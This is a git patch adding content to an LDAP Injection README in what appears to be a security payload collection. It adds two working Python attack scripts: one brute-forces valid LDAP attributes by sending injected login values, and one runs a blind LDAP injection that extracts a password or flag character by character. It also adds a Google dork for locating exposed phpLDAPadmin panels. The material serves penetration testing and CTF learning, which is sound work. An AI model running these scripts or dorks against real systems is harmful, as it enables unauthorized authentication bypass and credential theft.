From f28f83bda69fe3d13f9b8d4b996a597125555206 Mon Sep 17 00:00:00 2001
From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com>
Date: Fri, 21 Feb 2020 23:19:48 +0100
Subject: [PATCH] LDAPi: add scripts and dorks

---
 LDAP Injection/README.md | 62 +++++++++++++++++++++++++++++++++++++++-
 1 file changed, 61 insertions(+), 1 deletion(-)

diff --git a/LDAP Injection/README.md b/LDAP Injection/README.md
index ab77077..5153b89 100644
--- a/LDAP Injection/README.md	
+++ b/LDAP Injection/README.md	
@@ -96,9 +96,69 @@ userPassword:2.5.13.18:=\xx\xx
 userPassword:2.5.13.18:=\xx\xx\xx
 ```
 
+## Scripts
+
+### Discover valid LDAP fields
+
+```python
+#!/usr/bin/python3
+
+import requests
+import string
+
+fields = []
+
+url = 'https://URL.com/'
+
+f = open('dic', 'r') #Open the wordlists of common attributes
+wordl = f.read().split('\n')
+f.close()
+
+for i in wordl:
+    r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
+    if 'TRUE CONDITION' in r.text:
+        fields.append(str(i))
+
+print(fields)
+```
+
+Ref. [5][5]
+
+### Special Blind LDAP Injection (without "*")
+
+```python
+#!/usr/bin/python3
+
+import requests, string
+alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
+
+flag = ""
+for i in range(50):
+    print("[i] Looking for number " + str(i))
+    for char in alphabet:
+        r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
+        if ("TRUE CONDITION" in r.text):
+            flag += char
+            print("[+] Flag: " + flag)
+            break
+```
+
+Ref. [5][5]
+
+## Google Dorks
+
+```
+intitle:"phpLDAPadmin" inurl:cmd.php
+```
+
+Ref. [5][5]
+
 ## References
 
 * [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
 * [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)
 * [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/WriteUpECW2018AdmYSsion/)
-* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/)
\ No newline at end of file
+* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/)
+* \[5] [LDAP Injection - HackTricks][5]
+
+[5]:https://book.hacktricks.xyz/pentesting-web/ldap-injection